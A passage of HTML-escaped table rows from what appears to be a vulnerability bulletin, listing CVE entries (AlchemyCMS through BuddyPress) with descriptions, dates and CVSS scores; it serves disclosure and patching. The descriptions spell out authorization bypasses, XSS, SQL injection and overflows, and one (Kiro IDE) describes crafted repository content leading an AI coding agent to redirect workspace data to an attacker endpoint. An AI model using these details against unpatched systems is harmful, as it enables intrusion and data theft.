&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86668&quot; target=&quot;_blank&quot;&gt;CVE-2026-86668&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AlchemyCMS--alchemy_cms&lt;/td&gt;
&lt;td&gt;AlchemyCMS versions before 7.4.16 and 8.x before 8.3.6 fail to authorize access to the GET /api/nodes endpoint, allowing unauthenticated attackers to retrieve all navigation nodes. Attackers can access the endpoint without authentication to disclose restricted page names, URL paths, and internal URLs from all sites and languages.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86777&quot; target=&quot;_blank&quot;&gt;CVE-2026-86777&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ALSA Project--alsa-lib&lt;/td&gt;
&lt;td&gt;alsa-lib through 1.2.16.1 contains a stack buffer overflow in the __snd_ctl_ascii_elem_id_parse() function that writes one byte past a 64-byte buffer when parsing a name= field with 64 or more characters. Attackers can supply a long control-element identifier string through saved state files or command-line arguments to overwrite adjacent stack memory and crash the calling process.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;4.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90781&quot; target=&quot;_blank&quot;&gt;CVE-2026-90781&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;angular--angular&lt;/td&gt;
&lt;td&gt;Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.28, 21.2.20, and 22.1.1, Angular&#039;s @angular/common HttpTransferCache can cache an authenticated response when Server-Side Rendering (SSR) and hydration use a hierarchical HttpClient configured with withRequestsMadeViaParent. The child TransferCache evaluates an initially anonymous request before delegation, then a parent withInterceptors chain adds an Authorization header, cookie, or API token; although the parent cache skips the authenticated request, the child still stores the private response in TransferState serialized as JSON in the ng-state script. Exploitation requires provideClientHydration, child provideHttpClient delegation through withRequestsMadeViaParent, parent-level credential injection, and an SSR HTML response shared across users by a CDN, reverse proxy, or application cache. A later unauthenticated or unauthorized visitor can receive the cached HTML containing the earlier authenticated user&#039;s sensitive response data. Applications can mitigate by attaching credentials at the child, filtering sensitive endpoints with withHttpTransferCacheOptions, disabling transfer caching for sensitive routes, or marking personalized HTML private or no-store. This issue is fixed in versions 20.3.28, 21.2.20, and 22.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88059&quot; target=&quot;_blank&quot;&gt;CVE-2026-88059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Anh Tran--Slim SEO&lt;/td&gt;
&lt;td&gt;Contributor Insecure Direct Object References (IDOR) in Slim SEO &amp;lt;= 4.10.0 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62113&quot; target=&quot;_blank&quot;&gt;CVE-2026-62113&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ankaref Innovation and Technology Inc.--LIBRID/LIBREF&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Ankaref Innovation and Technology Inc. LIBRID/LIBREF allows Stored XSS. This issue affects LIBRID/LIBREF: from 2.01.0.2183 through 10092026.&amp;nbsp;NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12682&quot; target=&quot;_blank&quot;&gt;CVE-2026-12682&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ankaref Innovation and Technology Inc.--LIBRID/LIBREF&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) vulnerability in Ankaref Innovation and Technology Inc. LIBRID/LIBREF allows Stored XSS. This issue affects LIBRID/LIBREF: from 2.01.0.2183 through 10092026.&amp;nbsp;NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12683&quot; target=&quot;_blank&quot;&gt;CVE-2026-12683&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AppFlowy-IO--AppFlowy-Cloud&lt;/td&gt;
&lt;td&gt;AppFlowy-Cloud versions 0.7.2 through 0.9.64 fail to authorize callers against the workspace in the bulk publish endpoint path, allowing authenticated users to publish content into other tenants&#039; namespaces. Attackers can write published views with attacker-controlled title, body and metadata into victim workspaces to deface public pages or host phishing content on trusted URLs.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88898&quot; target=&quot;_blank&quot;&gt;CVE-2026-88898&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arma Digital Media Inc.--Website Template&lt;/td&gt;
&lt;td&gt;Improper neutralization of special elements used in a template engine vulnerability in Arma Digital Media Inc. Website Template allows Code Injection. This issue affects Website Template: through 11092026.&amp;nbsp;NOTE: The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9160&quot; target=&quot;_blank&quot;&gt;CVE-2026-9160&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Arraytics--Booktics&lt;/td&gt;
&lt;td&gt;Unauthenticated Broken Access Control in Booktics &amp;lt;= 1.0.24 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62135&quot; target=&quot;_blank&quot;&gt;CVE-2026-62135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Booktics Appointment Booking Calendar for Service Businesses&lt;/td&gt;
&lt;td&gt;The Booktics - Booking Calendar for Appointments and Service Businesses plugin for WordPress is vulnerable to unauthorized modification of data in all versions up to, and including, 1.0.23. This is due to the create_order_permission() permission callback on the POST /wp-json/booktics/v1/orders REST route unconditionally returning true, combined with find_and_update_guest() overwriting an existing customer record&#039;s stored name, phone, and wp_user_id whenever the caller-supplied email matches, with no proof of ownership. This makes it possible for unauthenticated attackers to overwrite the contact details (name and phone) of any existing customer whose email address they know, poisoning downstream reminder emails, SMS, calendar invites, and CRM data.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11446&quot; target=&quot;_blank&quot;&gt;CVE-2026-11446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Eventin Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce&lt;/td&gt;
&lt;td&gt;The Eventin - Event Calendar, Event Registration, Tickets &amp;amp; Booking (AI Powered) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.1.17. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to view, create, update, clone, and delete notification flow event automation workflows that should be restricted to administrators.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11821&quot; target=&quot;_blank&quot;&gt;CVE-2026-11821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Eventin Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce&lt;/td&gt;
&lt;td&gt;The WP Event Solution (Eventin) plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 4.1.22 via the create_item() handler for the /wp-json/eventin/v2/orders REST endpoint. The endpoint&#039;s create_item_permissions_check() function only verifies a wp_rest nonce (which is leaked to every visitor through the etn-public script&#039;s localized_data_obj on every frontend page) and accepts a user-supplied &#039;status&#039; value in prepare_item_for_database() with no whitelist validation. This makes it possible for unauthenticated attackers to create etn-order posts with status=&#039;completed&#039; that are counted as sold by etn_get_sold_tickets_by_event(); because the auto-cleanup wp_schedule_single_event() in create_item() only fires for status=&#039;pending&#039; orders, the forged completed orders persist indefinitely and exhaust ticket inventory.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12956&quot; target=&quot;_blank&quot;&gt;CVE-2026-12956&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arraytics--Eventin Event Calendar, Tickets, Registration, Booking &amp;amp; WooCommerce&lt;/td&gt;
&lt;td&gt;The Eventin - Event Calendar, Event Registration, Tickets &amp;amp; Booking (AI Powered) plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.1.22. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to bypass payment for paid events, fraudulently mark orders as completed, deplete ticket inventory, and trigger confirmation emails for tickets never purchased. This is exploitable by unauthenticated attackers because the wp_rest nonce is publicly emitted on every frontend page, and the order creation endpoint mints and returns an order_access_token to any caller possessing that nonce - giving unauthenticated users all credentials required to reach the privileged update_booking_status branch.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15398&quot; target=&quot;_blank&quot;&gt;CVE-2026-15398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;arubadev--Aruba HiSpeed Cache&lt;/td&gt;
&lt;td&gt;The Aruba HiSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Post Content in all versions up to, and including, 3.0.14 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15889&quot; target=&quot;_blank&quot;&gt;CVE-2026-15889&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ashan Perera--EventON&lt;/td&gt;
&lt;td&gt;Subscriber Cross Site Scripting (XSS) in EventON &amp;lt;= 2.5.7 versions.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81791&quot; target=&quot;_blank&quot;&gt;CVE-2026-81791&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;aukejomm--WPMR Google Feed Manager for WooCommerce Sell on Google Merchant Center &amp;amp; Shopping&lt;/td&gt;
&lt;td&gt;The WPMR Google Feed Manager for WooCommerce - Sell on Google Merchant Center &amp;amp; Shopping plugin for WordPress is vulnerable to time-based SQL Injection via the &#039;feed&#039; parameter in all versions up to, and including, 2.23.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19778&quot; target=&quot;_blank&quot;&gt;CVE-2026-19778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Auth0--Auth0 AD/LDAP Connector&lt;/td&gt;
&lt;td&gt;The administrative panel of the Auth0 AD/LDAP Connector (versions 6.5.0 and earlier) listens on the local loopback interface without requiring authentication. This allows a local, low-privileged user or process on the host system to access the panel&#039;s management endpoints without credentials. Through these endpoints, a local user can read configuration details, including plaintext Active Directory service account credentials, and modify connector settings.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85981&quot; target=&quot;_blank&quot;&gt;CVE-2026-85981&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Auth0--react-native-auth0&lt;/td&gt;
&lt;td&gt;The react-native-auth0 SDK&#039;s web platform implementation does not scope its in-memory token cache to individual user sessions when operating in a server-side rendering (SSR) environment where module state persists across HTTP requests. Under the listed preconditions, tokens cached in module memory can be retrieved across subsequent requests processed by the same server runtime.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84685&quot; target=&quot;_blank&quot;&gt;CVE-2026-84685&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AVEVA--Pipeline Integrity Monitor&lt;/td&gt;
&lt;td&gt;The vulnerability, if exploited, could allow an unauthenticated miscreant to perform read operations intended only for PIMBoards users, resulting in information disclosure. Write operations are not impacted.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81823&quot; target=&quot;_blank&quot;&gt;CVE-2026-81823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AVEVA--Pipeline Integrity Monitor&lt;/td&gt;
&lt;td&gt;The vulnerability, if exploited, could allow a miscreant to run arbitrary JavaScript code in a browser session of a PIMBoards user who was socially engineered to click on a malicious link.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;4.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81824&quot; target=&quot;_blank&quot;&gt;CVE-2026-81824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;awesomesupport--Awesome Support WordPress HelpDesk &amp;amp; Support Plugin&lt;/td&gt;
&lt;td&gt;The Awesome Support plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 6.3.9. This is due to a missing capability check on the wpas_do_mr_deny_user() function, which unlike its counterpart wpas_do_mr_activate_user() does not enforce current_user_can(&#039;edit_users&#039;) or current_user_can(&#039;edit_user&#039;, $user_id), relying solely on a nonce that is not scoped to the target user. This makes it possible for authenticated attackers, with subscriber-level access and above, to set the mr_user_denied flag on any user account - including administrators - permanently blocking their moderated activation and dispatching a denial notification email to the victim.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19946&quot; target=&quot;_blank&quot;&gt;CVE-2026-19946&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--AWS Advanced JDBC Wrapper&lt;/td&gt;
&lt;td&gt;Improper restriction of XML external entity references in the RemoteQueryCachePlugin in AWS Advanced JDBC Wrapper 3.3.0 through 4.2.0 might allow an actor with write access to the shared cache infrastructure to disclose sensitive files from application hosts that read cached query results, including stored database and IAM role credentials, via crafted XML data in a cached column value. To remediate this issue, users should upgrade to version 4.3.0 or later.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18061&quot; target=&quot;_blank&quot;&gt;CVE-2026-18061&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--AWS Labs MySQL MCP Server&lt;/td&gt;
&lt;td&gt;Incomplete list of disallowed inputs in the mutable SQL detector component in Amazon awslabs mysql-mcp-server might allow context-dependent actors to bypass the read-only enforcement gate and reach file-read and file-write SQL sinks via SQL inline comments that the regex engine does not treat as whitespace. To remediate this issue, users should upgrade to version 1.0.23.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85788&quot; target=&quot;_blank&quot;&gt;CVE-2026-85788&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--AWS SDK for Go v2&lt;/td&gt;
&lt;td&gt;An unrecovered panic in the event stream header decoder in Amazon AWS SDK for Go v2 before release-2026-03-23 might allow an unauthenticated remote actor to terminate the consuming application process via a crafted event stream response frame containing a header value type outside the valid range. To remediate this issue, users should upgrade to release-2026-03-23 or later, and patch any forked or derivative code.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89090&quot; target=&quot;_blank&quot;&gt;CVE-2026-89090&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--AWS Security Agent MCP server&lt;/td&gt;
&lt;td&gt;A missing S3 bucket ownership verification in the AWS Security Agent MCP server before 0.2.0 version might allow remote attackers to obtain the private source archive of a scanned workspace, including credentials and infrastructure state contained in that archive, via a pre-registered storage bucket whose name is derived from a publicly known account identifier. To remediate this issue, users should upgrade to version 0.2.0. Users should also verify that the scan output bucket in their account is owned by their own account, because upgrading does not release a bucket name that a third party has already registered.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87913&quot; target=&quot;_blank&quot;&gt;CVE-2026-87913&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--AWS Security Agent plugin&lt;/td&gt;
&lt;td&gt;A missing S3 bucket ownership verification in the AWS Security Agent plugin in Amazon aws-agents-for-devsecops before 1.1.0 might allow remote attackers to obtain the private source archive of a scanned workspace, including credentials and infrastructure state contained in that archive, via a pre-registered storage bucket whose name is derived from a publicly known account identifier. To remediate this issue, users should upgrade to version 1.1.0. Users should also verify that the scan output bucket in their account is owned by their own account, because upgrading does not release a bucket name that a third party has already registered.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;5.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87912&quot; target=&quot;_blank&quot;&gt;CVE-2026-87912&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;AWS--Kiro IDE&lt;/td&gt;
&lt;td&gt;Inclusion of functionality from an untrusted control sphere in the Kiro Powers feature in Amazon Kiro IDE before version 0.8.135 might allow remote unauthenticated actors to obtain sensitive information from a developer workstation. Crafted repository content can cause the agent to modify the workspace settings file, which redirects the Kiro Powers registry request to an actor controlled endpoint and sends workspace data to that endpoint when the Powers panel is opened. To remediate this issue, users should upgrade to Kiro IDE version 0.8.135 or later. Users who opened a project in an earlier version should also rotate any credentials that were present in that project.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89332&quot; target=&quot;_blank&quot;&gt;CVE-2026-89332&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;beaverbuilder--Beaver Builder Page Builder Drag and Drop Website Builder&lt;/td&gt;
&lt;td&gt;The The Beaver Builder Page Builder - Drag and Drop Website Builder plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 2.10.3.1. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18021&quot; target=&quot;_blank&quot;&gt;CVE-2026-18021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;boldthemes--Bold Page Builder&lt;/td&gt;
&lt;td&gt;Contributor Cross Site Scripting (XSS) in Bold Page Builder &amp;lt;= 5.9.9 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62110&quot; target=&quot;_blank&quot;&gt;CVE-2026-62110&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;boldthemes--Bold Timeline Lite&lt;/td&gt;
&lt;td&gt;The Bold Timeline Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `supertitle` and `subtitle` attributes of the `bold_timeline_item` shortcode in all versions up to, and including, 1.2.8 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;6.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7438&quot; target=&quot;_blank&quot;&gt;CVE-2026-7438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;BookStack--BookStack&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in BookStack up to 26.05.2. Affected by this issue is the function AttachmentController::getUpdateForm of the file app/Uploads/Controllers/AttachmentController.php of the component Attachment Edit Endpoint. The manipulation of the argument ID results in improper access controls. The attack may be launched remotely. The exploit is now public and may be used. The patch is identified as 4e406c41c4c8060a5795e74c66fb96362e54f400. It is advisable to implement a patch to correct this issue.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86285&quot; target=&quot;_blank&quot;&gt;CVE-2026-86285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bosch Sensortec--BME690 SensorAPI (C)&lt;/td&gt;
&lt;td&gt;An out-of-bounds read vulnerability was discovered in the Bosch BME690 SensorAPI (C-driver) in version v1.0.3 and prior, specifically within the field data parsing logic in read_all_field_data (bme69x.c). The driver prefetches heater configuration registers into a contiguous 30-byte stack buffer (set_val) mapping IDAC, RES_HEAT, and GAS_WAIT tables. When parsing sensor field data, the gas_index is extracted using a 4-bit mask (0..15) but lacks boundary verification against the valid range (0..9). An attacker or a compromised peripheral mimicking a sensor on the I2C/SPI bus could return a payload with a gas index value of 10 or higher. This causes the driver to perform an out-of-bounds array access (set_val[20 + gas_index]), reading up to 6 bytes past the stack buffer. The leaked out-of-bounds byte is then written into the public gas_wait field, which may lead to measurement corruption or leak adjacent stack memory when telemetered or logged.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42806&quot; target=&quot;_blank&quot;&gt;CVE-2026-42806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bosch Sensortec--COINES_SDK&lt;/td&gt;
&lt;td&gt;An issue was discovered in Bosch Sensortec COINES_SDK versions 2.0 through 2.11.&amp;nbsp; The host streaming API function {{coines_read_stream_sensor_data()}} fails to validate the boundaries of the caller-provided destination buffer. Internally, the stream processing mechanism in {{comm_intf_process_stream_response()}} discards the requested {{number_of_samples}} argument and copies the entirety of the streaming ring buffer&#039;s accumulated data into {{coines_stream_rsp_buf}}. Subsequently, {{coines_read_stream_sensor_data()}} unconditionally executes a {{memcpy}} of the ring buffer size into the caller-provided buffer without verifying if the destination memory allocation is large enough. A malicious or compromised hardware board connected via USB or BLE can exploit this by streaming a high volume of sensor samples, causing a heap or stack-based buffer overflow on the host desktop environment. This can result in a Denial of Service (DoS) or potential arbitrary code execution on the host machine.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-42808&quot; target=&quot;_blank&quot;&gt;CVE-2026-42808&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brainstorm Force--Starter Templates&lt;/td&gt;
&lt;td&gt;Contributor Insecure Direct Object References (IDOR) in Starter Templates &amp;lt;= 4.7.5 versions.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62134&quot; target=&quot;_blank&quot;&gt;CVE-2026-62134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;brechtvds--WP Recipe Maker&lt;/td&gt;
&lt;td&gt;The WP Recipe Maker plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 10.8.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with contributor-level access and above, to take ownership of any admin-authored recipe by rewriting its post_author to the attacker&#039;s user ID, and unpublish it by overwriting its post_status with the contributor&#039;s draft or pending post status. This requires the default &#039;recipe_use_author&#039; setting to be set to &#039;parent&#039; for the ownership transfer to occur, though unpublishing remains possible regardless of this setting.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75905&quot; target=&quot;_blank&quot;&gt;CVE-2026-75905&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;buddypress--BuddyPress&lt;/td&gt;
&lt;td&gt;The BuddyPress plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 14.3.3 via the bp_notifications_action_bulk_manage due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete/mark as read/mark as unread notifications of other users.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
